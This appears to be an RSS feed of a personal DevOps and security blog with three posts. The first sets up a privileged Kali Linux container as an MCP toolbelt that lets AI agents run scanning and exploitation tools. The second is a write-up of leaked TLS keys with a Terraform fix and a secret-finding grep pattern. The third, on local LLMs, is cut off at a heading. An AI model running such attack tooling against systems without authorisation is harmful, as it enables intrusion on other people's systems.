<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Eduard Schwarzkopf]]></title><description><![CDATA[always curious]]></description><link>https://eduard.schwarzkopf.center/</link><image><url>https://eduard.schwarzkopf.center/favicon.png</url><title>Eduard Schwarzkopf</title><link>https://eduard.schwarzkopf.center/</link></image><generator>Ghost 5.42</generator><lastBuildDate>Tue, 21 Apr 2026 10:34:14 GMT</lastBuildDate><atom:link href="https://eduard.schwarzkopf.center/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Building a Kali Linux MCP Server That Actually Works]]></title><description><![CDATA[<p>I learn new things best when I actually play with them and apply what I&apos;ve learned. <a href="https://modelcontextprotocol.io/docs/getting-started/intro?ref=eduard.schwarzkopf.center">Model Context Protocol (MCP)</a>. The hottest new Protocol on the market! After some head-scratching and iteration, I finally managed to connect my first MCP Server and the best part? It hacks! No,</p>]]></description><link>https://eduard.schwarzkopf.center/building-a-kali-linux-mcp-server-that-actually-works/</link><guid isPermaLink="false">691f3f84a7c4bc0001e14a73</guid><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Thu, 20 Nov 2025 21:38:37 GMT</pubDate><content:encoded><![CDATA[<p>I learn new things best when I actually play with them and apply what I&apos;ve learned. <a href="https://modelcontextprotocol.io/docs/getting-started/intro?ref=eduard.schwarzkopf.center">Model Context Protocol (MCP)</a>. The hottest new Protocol on the market! After some head-scratching and iteration, I finally managed to connect my first MCP Server and the best part? It hacks! No, like really, it can hack for me!</p><p>I containerised Kali Linux, wired up the MCP bridge, and now run a reproducible, on-demand Kali toolbelt for my agents via Docker Compose.</p><p>Let me tell you the real story. I thought this would be a quick weekend hack. Three debugging sessions later, I learned more about Docker, privilege escalation, and MCP integration than any tutorial could teach me. Grab your coffee (or tea, I don&apos;t judge (maybe a little)).</p><h2 id="what-is-mcp-and-why-should-you-care">What is MCP and Why Should You Care?</h2><p><a href="https://www.anthropic.com/news/model-context-protocol?ref=eduard.schwarzkopf.center">Model Context Protocol</a> is Anthropic&apos;s standard for connecting AI systems to external tools and data sources. Think of it as a universal translator between your AI agents and the real world.</p><p>Instead of building custom integrations for every tool, MCP provides a standardised way for AI models to:</p><ul><li>Execute commands safely</li><li>Access file systems</li><li>Query databases</li><li>Interact with APIs</li><li>And yes, run security tools</li></ul><p>The beauty? Your AI agents can now orchestrate complex workflows that would normally require manual intervention.</p><h2 id="the-journey-from-idea-to-working-system">The Journey: From Idea to Working System</h2><h3 id="the-initial-plan">The Initial Plan</h3><p>My plan was simple. Use Kali as a Toolbelt for an Agent, so it can do some security stuff for me. Here are my steps:</p><ol><li>Spin up Kali Linux in Docker</li><li>Install the MCP-Kali-Server from GitHub</li><li>Configure <a href="https://opencode.ai/?ref=eduard.schwarzkopf.center">opencode</a> to connect</li><li>Hack the planet</li><li>???</li><li>Profit</li></ol><p>Spoiler Alert: Still in progress of step 4...</p><h3 id="first-attempt-the-naive-approach">First Attempt: The Naive Approach</h3><p>I searched for ready-to-use MCP Servers for Kali, and I actually found a <a href="https://medium.com/@sasisachins2003/penetration-testing-made-simple-kali-mcp-with-docker-and-claude-desktop-6d50a6a60300?ref=eduard.schwarzkopf.center">blog post</a>. Noice! I can just copy and paste the instruction and use it. You know what, let my agent do this for me:</p><blockquote>Hey Orchestrator, analyze the blog post here and set up Kali MCP server that I can use. Here is the link: <a href="https://medium.com/@sasisachins2003/penetration-testing-made-simple-kali-mcp-with-docker-and-claude-desktop-6d50a6a60300?ref=eduard.schwarzkopf.center">https://medium.com/@sasisachins2003/penetration-testing-made-simple-kali-mcp-with-docker-and-claude-desktop-6d50a6a60300</a></blockquote><blockquote>Got it! Let me scan the blog post and setup a ready to use Kali Linux MCP Server... <em>anylzing blog post</em> <em>creating plan</em> <em>pulling data</em> <em>do some magic</em> <em>cast fireball</em> <em>writing files</em> .... I&apos;m done, you now got a ready to use Kali MCP, simple run <code>docker compose up</code> and connect it to your agent.</blockquote><p>Awesome! Now let&apos;s hack the planet! But from what I&apos;ve learned before, let&apos;s first verify, before actually using it.</p><p><em>*Open file docker-compose.yaml*</em></p><blockquote>Hmmm.... i see....</blockquote><p><em>*open file Dockerfile*</em></p><blockquote>yep, i saw that in the post... ah ok... yes yes... yeah, its fucked</blockquote><p>My agent unfortunately messed up the setup. So...</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2025/11/thanos.gif" class="kg-image" alt loading="lazy" width="498" height="278"><figcaption>Fine, I&apos;ll do it myself</figcaption></figure><h3 id="the-mcp-integration-challenge">The MCP Integration Challenge</h3><p>Getting the MCP server running was its own adventure. The <a href="https://github.com/Wh0am123/MCP-Kali-Server.git?ref=eduard.schwarzkopf.center">MCP-Kali-Server</a> project provides a Flask API that wraps common Kali tools, but integrating it with opencode required understanding how MCP actually works.</p><p>MCP uses JSON-RPC for communication. Your AI agent sends structured requests to the MCP server, which translates them into tool executions. The server then returns structured responses that the AI can understand and act upon.</p><h2 id="the-technical-implementation">The Technical Implementation</h2><h3 id="dockerfile-building-the-foundation">Dockerfile: Building the Foundation</h3><p>Let me show you the Dockerfile that finally worked. This 55-line beast installs comprehensive Kali toolsets and sets up the MCP server environment:</p><p><code>/docker/Dockerfile</code></p><pre><code class="language-dockerfile"># Build an image that contains Kali tools + MCP-Kali-Server repo
FROM kalilinux/kali-rolling:latest
ENV DEBIAN_FRONTEND=noninteractive

# Basic tooling + python + git
RUN apt-get update &amp;&amp; \
    apt-get install -y --no-install-recommends \
      ca-certificates curl gnupg lsb-release git python3 python3-pip \
      &amp;&amp; rm -rf /var/lib/apt/lists/*

# Install Kali MCP package (optional if you prefer package-managed install)
# keep || true so layer doesn&apos;t fail on package changes in ephemeral environments
RUN apt-get update &amp;&amp; \
    apt-get install -y --no-install-recommends mcp-kali-server \
    kali-tools-top10 \
    kali-tools-web \
    kali-tools-database \
    kali-tools-passwords \
    kali-tools-wireless \
    kali-tools-reverse-engineering \
    kali-tools-exploitation \
    kali-tools-social-engineering \
    kali-tools-sniffing-spoofing \
    kali-tools-post-exploitation \
    kali-tools-forensics \
    kali-tools-hardware \
    kali-tools-crypto-stego \
    kali-tools-vulnerability \
    kali-tools-web \
    kali-tools-information-gathering \
    &amp;&amp; \
    rm -rf /var/lib/apt/lists/*


# Clone the MCP-Kali-Server repository into image
RUN git clone https://github.com/Wh0am123/MCP-Kali-Server.git /opt/MCP-Kali-Server

# Install python requirements from repo (the repo contains requirements.txt)
# Allow failures (|| true) if pip fails on platform-specific wheels; logs will show errors.
RUN pip3 install --no-cache-dir -r /opt/MCP-Kali-Server/requirements.txt || true

# Add entrypoint
COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh

# Expose Kali API port; we map to localhost in docker-compose
EXPOSE 5000

# Add any additional packages
RUN apt-get update &amp;&amp; \
    apt-get install -y --no-install-recommends gobuster

# Run entrypoint which starts the Flask API
CMD [&quot;/usr/local/bin/entrypoint.sh&quot;]
</code></pre><p><strong>Why this works:</strong> We&apos;re installing comprehensive Kali toolsets, not just the base image. The <code>kali-tools-*</code> packages give us everything from nmap and gobuster to sqlmap and Metasploit. The Python environment setup ensures our MCP server has all its dependencies.</p><p><strong>Key insight:</strong> Installing tools at build time makes the container larger but eliminates runtime dependency issues. In security tooling, reliability trumps container size.</p><h3 id="docker-compose-orchestrating-the-chaos">Docker Compose: Orchestrating the Chaos</h3><p>The Docker Compose configuration handles the networking and privilege requirements that gave me so much trouble:</p><p><code>/docker/docker-compose.yaml</code></p><pre><code class="language-yaml">services:
  kali:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: kali-mcp
    privileged: true
    ports:
      - &quot;127.0.0.1:5000:5000&quot; # bind API to localhost only
    volumes:
      - ./share:/root/share
    environment:
      - PYTHONUNBUFFERED=1
    tty: true
    restart: unless-stopped
    stdin_open: true
    cap_add:
      - NET_ADMIN # For network interface manipulation
      - SYS_ADMIN # For mounting filesystems and other system operations
</code></pre><p><strong>The privileged flag:</strong> Yes, this breaks Docker&apos;s security model. But we&apos;re running security tools that need raw network access. In a controlled environment, this is acceptable.</p><p><strong>Volume mounts:</strong> Persistent storage for scan results and wordlists. If you don&apos;t know them, learn and use them!</p><h3 id="entrypoint-script-simple-but-essential">Entrypoint Script: Simple but Essential</h3><p>The entrypoint script is deceptively simple:</p><p><code>/docker/entrypoint.sh</code></p><pre><code class="language-bash">#!/bin/bash
set -euo pipefail

exec python3 /opt/MCP-Kali-Server/kali_server.py --ip 0.0.0.0 --port 5000

</code></pre><p><strong>Why a separate script?</strong> Flexibility. We can add initialisation logic, environment checks, or tool updates without rebuilding the container.</p><h3 id="opencode-configuration-the-mcp-bridge">Opencode Configuration: The MCP Bridge</h3><p>The final piece is configuring opencode to connect to our containerised Kali server:</p><p><code>/config/opencode.json</code></p><pre><code class="language-json">{
    &quot;$schema&quot;: &quot;https://opencode.ai/config.json&quot;,
    &quot;mcp&quot;: {
        &quot;kali_mcp&quot;: {
            &quot;type&quot;: &quot;local&quot;,
            &quot;command&quot;: [
                &quot;docker&quot;,
                &quot;exec&quot;,
                &quot;-i&quot;,
                &quot;kali-mcp&quot;,
                &quot;python3&quot;,
                &quot;/opt/MCP-Kali-Server/mcp_server.py&quot;,
                &quot;--server&quot;,
                &quot;http://127.0.0.1:5000&quot;
            ],
            &quot;environment&quot;: {
                &quot;PYTHONUNBUFFERED&quot;: &quot;1&quot;
            },
            &quot;enabled&quot;: true,
            &quot;timeout&quot;: 30000
        }
    },
}
</code></pre><p><strong>The localhost binding:</strong> Notice the <code>127.0.0.1:5000</code> address. This ensures the MCP server is only accessible locally, adding a security layer while maintaining functionality.</p><h2 id="the-results-what-we-achieved">The Results: What We Achieved</h2><h3 id="reproducible-security-workflows">Reproducible Security Workflows</h3><p>With the MCP bridge in place, I can now ask my AI agents to:</p><ul><li>&quot;Scan this IP range and identify open services&quot;</li><li>&quot;Check this web application for common vulnerabilities&quot;</li><li>&quot;Generate a wordlist for this target domain&quot;</li><li>&quot;Run a comprehensive security assessment&quot;</li></ul><p>The AI orchestrates the tools, interprets results, and provides actionable insights. No more manual tool switching or result copying.</p><h3 id="faster-reconnaissance-and-triage">Faster Reconnaissance and Triage</h3><p>What used to take hours of manual tool execution now happens in minutes. The AI can run multiple tools in parallel, correlate results, and highlight the most critical findings.</p><h3 id="controlled-environment-benefits">Controlled Environment Benefits</h3><p>Everything runs in a containerised environment. No tool conflicts. No host system pollution. Spin up, test, tear down. Perfect for both learning and production security assessments.</p><h3 id="automated-tool-orchestration">Automated Tool Orchestration</h3><p>The real magic happens when tools work together. The AI can use nmap results to inform gobuster scans, use discovered endpoints for vulnerability testing, and chain together complex attack scenarios.</p><h2 id="the-reality-check-agent-limitations-and-long-running-scans">The Reality Check: Agent Limitations and Long-Running Scans</h2><p>Now, let me be honest about something that bit me during this project. Agents are impatient. Really impatient.</p><p>You know how humans get restless waiting for a long scan to finish? Agents are worse. They&apos;ll start a comprehensive nmap scan, wait about three minutes, then basically throw their hands up and say &quot;this is taking too long, let me try something else&quot; and abort the operation.</p><p>This creates real challenges for security workflows. A thorough network scan might take several hours. A comprehensive wordlist attack could run overnight. Vulnerability assessments often require patience and persistence. But current agent architectures? They&apos;re built for quick interactions, not marathon operations.</p><p><strong>The real-world impact is significant.</strong> You can&apos;t rely on agents for:</p><ul><li>Large-scale network discovery that takes hours</li><li>Comprehensive wordlist attacks with massive dictionaries</li><li>Deep vulnerability scans that methodically test every endpoint</li><li>Any operation where &quot;set it and forget it&quot; is the expected workflow</li></ul><p><strong>But here&apos;s where it gets interesting.</strong> The solution isn&apos;t to make agents more patient. No! It&apos;s to build better systems. I&apos;ve been thinking about experimenting with pipeline tools like n8n to trigger scans and continue workflows when they complete. The idea is simple: separate scan initiation from result processing.</p><p>Instead of asking an agent to &quot;run this scan and tell me the results,&quot; you design asynchronous workflows. The agent kicks off the scan, the pipeline monitors completion, and a fresh agent processes the results when they&apos;re ready. It&apos;s like having a relay team instead of asking one runner to complete a marathon.</p><p>This limitation actually points to something important about the future of AI-powered security testing. We need orchestration systems that can handle long-running operations gracefully. The current &quot;conversational&quot; model of AI interaction doesn&apos;t map well to security workflows that might span hours or days.</p><p>For now, I work around this by asking the agent to do all quick operations and tell, when there is a long task that I need to trigger myself and provide the results later. Manually! Urgh.... I suspect this is a temporary workaround...</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2025/11/image-3.png" class="kg-image" alt loading="lazy" width="225" height="225"><figcaption>nothing is as permanent as a temporary fix</figcaption></figure><h3 id="security-considerations">Security Considerations</h3><p><strong>Important:</strong> This setup is designed for controlled environments and ethical security testing. Never use these tools against systems you don&apos;t own or lack permission to test.</p><p><strong>Best practices:</strong></p><ul><li>Run on isolated networks</li><li>Use VPNs for external testing</li><li>Document all activities</li><li>Follow responsible disclosure practices</li><li>Respect rate limits and target resources</li></ul><h2 id="conclusion">Conclusion</h2><p>Building this Kali Linux MCP server showed me the power of bridging traditional security tools with modern AI capabilities.</p><p>The debugging journey was frustrating but educational. Every failed attempt taught me something new about containerization, networking, or security tool requirements. The final working system feels like a genuine milestone &#x2013; not just because it works, but because of everything I learned building it.</p><p><strong>Remember:</strong> The goal isn&apos;t just to automate security tools. It&apos;s to create reproducible, scalable workflows that enhance human security professionals rather than replace them. AI agents can handle the repetitive scanning and correlation work, freeing us to focus on analysis, strategy, and creative problem-solving.</p><p>For any questions, hit me up on <a href="https://infosec.exchange/@eduard?ref=eduard.schwarzkopf.center">Mastodon</a>, <a href="https://www.linkedin.com/in/eduard-schwarzkopf/?ref=eduard.schwarzkopf.center">LinkedIn</a> or check out the <a href="https://github.com/EduardSchwarzkopf/docker-kali-mcp?ref=eduard.schwarzkopf.center">code repository</a>. The complete setup is available, and I&apos;d love to see what improvements you come up with.</p><p>Happy Coding and Hack the Planet!</p><hr><p><em>Disclaimer: This setup is intended for authorised security testing and educational purposes only. Always ensure you have proper permission before testing any systems, and follow responsible disclosure practices for any vulnerabilities discovered.</em></p>]]></content:encoded></item><item><title><![CDATA[I Accidentally Exposed  TLS Secrets to GitHub, Let's Learn From It]]></title><description><![CDATA[<p>woopie fucking doo! I exposed secrets to my public GitHub repository. Join me on a ride!</p><p>This wasn&apos;t some complex supply chain attack or sophisticated breach. This was me! Using tools without knowing the impact nor having proper safety nets in place.</p><p>Here&apos;s what happened, how</p>]]></description><link>https://eduard.schwarzkopf.center/helm-template-gotcha-when-secrets-get-published/</link><guid isPermaLink="false">69125620a7c4bc0001e14a3d</guid><category><![CDATA[Security]]></category><category><![CDATA[Homelab]]></category><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Mon, 10 Nov 2025 21:30:54 GMT</pubDate><content:encoded><![CDATA[<p>woopie fucking doo! I exposed secrets to my public GitHub repository. Join me on a ride!</p><p>This wasn&apos;t some complex supply chain attack or sophisticated breach. This was me! Using tools without knowing the impact nor having proper safety nets in place.</p><p>Here&apos;s what happened, how I fixed it, and most importantly, what you can learn from my fuckup.</p><h2 id="the-incident-timeline">The Incident Timeline</h2><p>Picture this: I&apos;m redeploying my Kubernetes cluster after some infrastructure changes. Everything&apos;s going smoothly. Talos Linux is humming along, Terraform is doing its thing, but then the LoadBalancer doesn&apos;t get an external IP. Uuugh...</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2025/11/hercules-kevin-sorbo.gif" class="kg-image" alt loading="lazy" width="640" height="480" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2025/11/hercules-kevin-sorbo.gif 600w, https://eduard.schwarzkopf.center/content/images/2025/11/hercules-kevin-sorbo.gif 640w"></figure><p>Time to debug this issue. I swear to god, if its DNS! Because its always DNS. So I start digging into the configuration files to figure out what&apos;s going wrong.</p><p>But then something catches my eye: <code>tls.key:</code> Here is my thought process on this:</p><blockquote><strong>Huh</strong>....?!?!?!?!... Did... did i commit a secret? INTO MY PUBLIC REPO?!!!!!!</blockquote><pre><code class="language-yaml">apiVersion: v1
kind: Secret
metadata:
  name: cilium-ca
  namespace: kube-system
type: Opaque
data:
  tls.key: LS0tLS1CRUdJTi... # base64 encoded private key
  tls.crt: LS0tLS1CRUdJTi... # base64 encoded certificate
  ca.crt: LS0tLS1CRUdJTi...  # base64 encoded CA cert
</code></pre><p>There it is. In all its glory. A secret. Base64 encoded, and remember, &#xA0;base64 is not secure!</p><p>Don&apos;t trust me? Check yourself:</p><pre><code class="language-base64">YmFzZTY0IGlzIG5vdCBzZWN1cmUhISEhIQ==</code></pre><p>Decode the string above and know that this is not secure!</p><p>Back to Topic: A TLS private key was committed on <strong>September 10, 2025</strong> and published to GitHub. <strong>two months</strong>. Yes, for two months, I&apos;m presenting the secrets to the public.</p><h2 id="root-cause-analysis">Root Cause Analysis</h2><p>So, how exactly did this happen? I used the following command to generate the cilium manifest:</p><pre><code class="language-bash">helm template cilium cilium/cilium --version 1.18.0 \
  --namespace kube-system \
  --set ipam.mode=kubernetes \
  --set kubeProxyReplacement=true \
  --set securityContext.capabilities.ciliumAgent=&quot;{CHOWN,KILL,NET_ADMIN,NET_RAW,IPC_LOCK,SYS_ADMIN,SYS_RESOURCE,DAC_OVERRIDE,FOWNER,SETGID,SETUID}&quot; \
  --set cgroup.autoMount.enabled=false \
  --set cgroup.hostRoot=/sys/fs/cgroup &gt; cilium.yaml
</code></pre><p>Then apply it with <code>kubectl</code>, watch it up and running. Commit, push, task done. Simple, right? What could go wrong?</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2025/11/thanos-infinity-war.gif" class="kg-image" alt loading="lazy" width="498" height="270"><figcaption>Thanos - Everything</figcaption></figure><p><strong>My mistake:</strong> I never actually look at what <code>helm template</code> is generating. I just trust it blindly. The Cilium Helm chart, being a comprehensive CNI solution, includes TLS certificate generation for secure communication between components. When you run <code>helm template</code>, it generates everything&#x2014;including those certificates and private keys.</p><p>This is a classic case of <em>automation without verification</em>. I automated the template generation but forgot to automate the security review. I was so focused on getting the cluster up and running that I skipped the most basic security practice: actually checking what I&apos;m about to push.</p><h2 id="immediate-response-and-remediation">Immediate Response and Remediation</h2><p>Here is my battle plan:</p><ol><li><strong>Root Cause Analysis</strong>: Identify the flawed static YAML approach (done)</li><li><strong>Access Review</strong>: Verify no unauthorised access to the homelab network (done)</li><li><strong>Secret Rotation</strong>: Regenerate all affected TLS certificates and keys</li><li><strong>Implement A Solution</strong>: Provide a permanent fix for these helm templates.</li></ol><h2 id="the-technical-fix">The Technical Fix</h2><p>Enter <a href="https://opentofu.org/docs/language/resources/tf-data/?ref=eduard.schwarzkopf.center">terraform_data</a> resource.</p><p><code>/terraform/kubernetes/cilium.tf</code></p><pre><code class="language-hcl">locals {
  dist_directory   = &quot;${path.module}/dist&quot;
  cilium_filepath = &quot;${local.dist_directory}/cilium.yaml&quot;
}

resource &quot;terraform_data&quot; &quot;cilium_yaml&quot; {
  input = local.cilium_filepath

  lifecycle {
    replace_triggered_by = [talos_machine_secrets.this]
  }

  provisioner &quot;local-exec&quot; {
    command = &lt;&lt;EOT
    mkdir -p ${local.dist_directory}
    echo &quot;*&quot; &gt; ${local.dist_directory}/.gitignore
    helm template cilium cilium/cilium --version 1.18.0 \
      --namespace kube-system \
      --set ipam.mode=kubernetes \
      --set kubeProxyReplacement=true \
      --set securityContext.capabilities.ciliumAgent=&quot;{CHOWN,KILL,NET_ADMIN,NET_RAW,IPC_LOCK,SYS_ADMIN,SYS_RESOURCE,DAC_OVERRIDE,FOWNER,SETGID,SETUID}&quot; \
      --set cgroup.autoMount.enabled=false \
      --set cgroup.hostRoot=/sys/fs/cgroup &gt; ${local.cilium_filepath}
    EOT
  }

  provisioner &quot;local-exec&quot; {
    when = destroy
    command = &lt;&lt;EOT
    rm -rf ${local.dist_directory}
    EOT
  }
}

resource &quot;talos_machine_configuration_apply&quot; &quot;cp&quot; {
  # ... other configuration ...
  
  config_patches = [
    yamlencode({
      cluster = {
        inlineManifests = [
          {
            name     = &quot;cilium&quot;
            contents = file(terraform_data.cilium_yaml.output)
          }
        ]
      }
    }),
    # ... other patches ...
  ]
}
</code></pre><p>So, what&apos;s going on here?</p><p><strong>Dynamic Generation</strong>: The <code>terraform_data</code> resource generates the Helm template only when needed, triggered by changes to the Talos machine secrets.</p><p><strong>Proper Lifecycle Management</strong>: The template file gets created during apply (<code>when = created</code>) and cleaned up during destruction (<code>when = destroy</code>). The <code>replace_triggered_by</code> ensures regeneration when cluster secrets change.</p><p><strong>Automatic Gitignore</strong>: Creates a <code>.gitignore</code> file in the dist directory to prevent accidental commits.</p><p><strong>Direct Integration</strong>: Uses <code>file()</code> function to read the generated template directly into the Talos configuration, eliminating the need for complex kubectl manifest resources.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2025/11/bob-the-builder.gif" class="kg-image" alt loading="lazy" width="640" height="480" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2025/11/bob-the-builder.gif 600w, https://eduard.schwarzkopf.center/content/images/2025/11/bob-the-builder.gif 640w"><figcaption>can we fix it? Yes we can!</figcaption></figure><p>This allows me to mark the secret rotation and implementation as complete. Done!</p><p><strong>Wrong!</strong> What did I learn? Never Trust! So, time to verify the fix, before moving on.</p><h2 id="verification-and-testing">Verification and Testing</h2><p>First, is it properly excluded from git?</p><pre><code class="language-bash">git status
# dist/ directory should not appear in untracked files due to .gitignore

ls -la terraform/kubernetes/dist/
# Should show .gitignore file preventing commits
</code></pre><p>Next, is my lifecycle working for that resource?</p><pre><code class="language-bash">tofu plan
# Output shows:
# terraform_data.cilium_yaml will be created
# talos_machine_configuration_apply.cp will be updated

tofu apply
# Template should be generated in dist/cilium.yaml
ls -la tofu/kubernetes/dist/cilium.yaml
# File should exist temporarily during apply

# After successful apply, verify the inline manifest
tofu show | grep -A 10 &quot;inlineManifests&quot;
# Should show cilium manifest content loaded from file
</code></pre><p>Finally, is my cilium deployment working?</p><pre><code class="language-bash">kubectl get pods -n kube-system | grep cilium
# All Cilium pods should be running

kubectl logs -n kube-system -l app.kubernetes.io/name=cilium | head -20
# No certificate or TLS errors in startup logs

# Verify Cilium status
cilium status
# Should show healthy cluster connectivity
</code></pre><p>Now the good news: The dynamic approach isn&apos;t just more secure&#x2014;it&apos;s also more reliable. Improvement!</p><p>Pushed and fixed on <strong>November 8, 2025</strong>. Issue resolved!</p><h2 id="lessons-learned">Lessons Learned</h2><p>This incident teaches me several valuable lessons:</p><h3 id="1-always-inspect-generated-content">1. Always Inspect Generated Content</h3><p><strong>The Lesson</strong>: Zero Trust! Never trust automated tools blindly, especially when they&apos;re generating a configuration that might contain sensitive data.</p><p><strong>The Practice</strong>: Before using any generated YAML, take a moment to actually look at it. Here are commands that will help me in the future:</p><pre><code class="language-bash"># Quick security scan of generated templates
helm template myapp ./chart | grep -i -E &quot;(secret|password|key|token|tls\.key|tls\.crt)&quot;
</code></pre><p><strong>Automated Detection Tools</strong>: I&apos;m planning to add tools to my workflow for automated detection:</p><ul><li><a href="https://github.com/awslabs/git-secrets?ref=eduard.schwarzkopf.center">git secrets</a></li><li>python <a href="https://pypi.org/project/detect-secrets/?ref=eduard.schwarzkopf.center">detect-secrets</a></li><li><a href="https://github.com/trufflesecurity/trufflehog?ref=eduard.schwarzkopf.center">TruffleHog</a></li></ul><h3 id="2-security-is-a-process-not-a-one-time-thing">2. Security is a Process, Not a One-Time Thing</h3><p><strong>The Lesson</strong>: Security isn&apos;t something you implement once and forget about. It&apos;s an ongoing process that needs to be built into every step of your workflow.</p><p><strong>Automated Gitignore Rules</strong>:</p><pre><code class="language-gitignore"># Generated templates that may contain secrets
**/dist/
**/*-generated.yaml
**/*-template.yaml
cilium.yaml
helm-output/

# Common secret files
.env
.env.local
*.pem
*.key
*.p12
*.pfx
**secrets**
</code></pre><h3 id="3-fail-fast-and-fail-safe">3. Fail Fast and Fail Safe</h3><p><strong>The Lesson</strong>:</p><p>Have an incident response plan, even for your homelab.</p><p><strong>The Practice</strong>:</p><p>To quote Mike Tyson:</p><blockquote>Everybody has a plan until they get punched in the face.</blockquote><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2025/11/image.png" class="kg-image" alt loading="lazy" width="225" height="225"><figcaption>Me getting punched</figcaption></figure><p>Get used to it. And be prepared to get punched a lot in the face.</p><h3 id="4-dynamic-is-better-than-static-for-secrets">4. Dynamic is Better Than Static (For Secrets)</h3><p><strong>The Lesson</strong>:</p><p>Static configuration files are convenient, but they&apos;re also dangerous when they contain sensitive data. Dynamic generation with proper lifecycle management is worth the extra complexity.</p><p>Even better: When you can auto-rotate secrets, do it!</p><p><strong>The Practice</strong>:</p><p>Use tools like OpenTofu/Terraform, Helm, or Kustomize to generate configurations at deployment time rather than storing them as static files.</p><h2 id="next-steps-and-future-improvements">Next Steps and Future Improvements</h2><p>This incident gets me thinking about how to prevent similar issues in the future. Here&apos;s what I&apos;m implementing:</p><h3 id="ai-powered-security-review-future-concept">AI-Powered Security Review (Future Concept)</h3><p>This is where it gets interesting. I&apos;m exploring the possibility of using AI to review generated configurations before they get applied. This is <strong>future speculation</strong>, not a current implementation, but the concept involves:</p><ul><li>Identifying potential security issues</li><li>Suggesting safer alternatives</li><li>Learning from past incidents</li></ul><h2 id="takeaways">Takeaways</h2><p>If you take away just three things from this post, let them be these:</p><p><strong>First</strong>: Always inspect what your tools generate. Automation is powerful, but it&apos;s not infallible. A quick review can save you from major headaches later.</p><p><strong>Second</strong>: Design your systems to fail safely. Use dynamic generation, proper lifecycle management, and automated cleanup to minimise the risk of persistent secrets.</p><p><strong>Third</strong>: When incidents happen (and they will), respond quickly but systematically. Document what goes wrong, fix the immediate issue, and implement controls to prevent recurrence.</p><p>Security incidents are learning opportunities in disguise. Yes, they&apos;re stressful and potentially dangerous, but they also force us to examine our assumptions and improve our practices. This particular incident makes me a better DevOps engineer, and I hope sharing it helps you avoid similar mistakes.</p><p>Remember: we&apos;re all human, we all make mistakes, and we all have the opportunity to learn from them. The key is to fail fast, fail safe, and always be improving.</p><p>For any questions about this incident or the fix, hit me up on <a href="https://infosec.exchange/@eduard?ref=eduard.schwarzkopf.center">Mastodon</a> or <a href="https://www.linkedin.com/in/eduard-schwarzkopf/?ref=eduard.schwarzkopf.center">LinkedIn</a>. I&apos;m always happy to discuss security practices and lessons learned.</p><p>Happy Coding!</p>]]></content:encoded></item><item><title><![CDATA[Local AI on a GTX 1060: What Could Go Wrong?]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>NetworkChuck made it look so easy. Just install some TUI tools, run a few commands, and boom &#x2013; you&apos;re an AI wizard!</p>
<p>I watched <a href="https://www.youtube.com/watch?v=MsQACpcuTkU&amp;ref=eduard.schwarzkopf.center">his video about TUI AI tools</a> and thought: &quot;This is it. This is my moment to dive into AI.&quot; He wasn&apos;</p>]]></description><link>https://eduard.schwarzkopf.center/my-ai-deep-dive-from-homelab-hero-to-claude-convert/</link><guid isPermaLink="false">6908faafa7c4bc0001e14a27</guid><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Mon, 03 Nov 2025 19:02:22 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>NetworkChuck made it look so easy. Just install some TUI tools, run a few commands, and boom &#x2013; you&apos;re an AI wizard!</p>
<p>I watched <a href="https://www.youtube.com/watch?v=MsQACpcuTkU&amp;ref=eduard.schwarzkopf.center">his video about TUI AI tools</a> and thought: &quot;This is it. This is my moment to dive into AI.&quot; He wasn&apos;t just showing off Ollama running models in the terminal - he was demonstrating this sick TUI called <a href="https://opencode.ai/?ref=eduard.schwarzkopf.center">opencode</a> that could turn your terminal into an AI coding wizard. The interface looked incredible. Clean. Professional. Like having an AI pair programmer right there in your terminal.</p>
<p>But like most things in tech, what looks simple on YouTube becomes a three-week rabbit hole of frustration, learning, and eventual enlightenment.</p>
<h2 id="the-privacy-awakening">The Privacy Awakening</h2>
<p>Here&apos;s the thing about being a developer in 2025: AI is everywhere. ChatGPT this, Copilot that, Gemini everything else. But I had a problem. A big one.</p>
<p>Privacy.</p>
<p>Every time I wanted to ask an AI about my code or bounce ideas around, I&apos;d hesitate. What if my proprietary work ends up in some training dataset? What if my brilliant (okay, mediocre) ideas get leaked? What if my embarrassing debugging questions become public knowledge?</p>
<p>The paranoia was real. So when NetworkChuck showed off those slick terminal-based AI tools running locally, thats what I wanted. Local LLMs! Privacy! All under my control.</p>
<p>Time to get my hands dirty.</p>
<h2 id="enter-ollama-the-local-llm-promise">Enter Ollama: The Local LLM Promise</h2>
<p>I&apos;d heard whispers about Ollama in developer circles. &quot;Run LLMs locally,&quot; they said. &quot;It&apos;s easy,&quot; they said. &quot;Just download and go,&quot; they said.</p>
<p>Spoiler alert: They lied. Well, not exactly lied, but they definitely glossed over some crucial details.</p>
<p>My plan was simple:</p>
<ol>
<li>Install Ollama on my homelab</li>
<li>Download some models</li>
<li>Set up opencode for that sweet TUI experience</li>
<li>Become an AI wizard</li>
<li>???</li>
<li>Profit</li>
</ol>
<p>What could go wrong?</p>
<h2 id="the-hardware-reality-check">The Hardware Reality Check</h2>
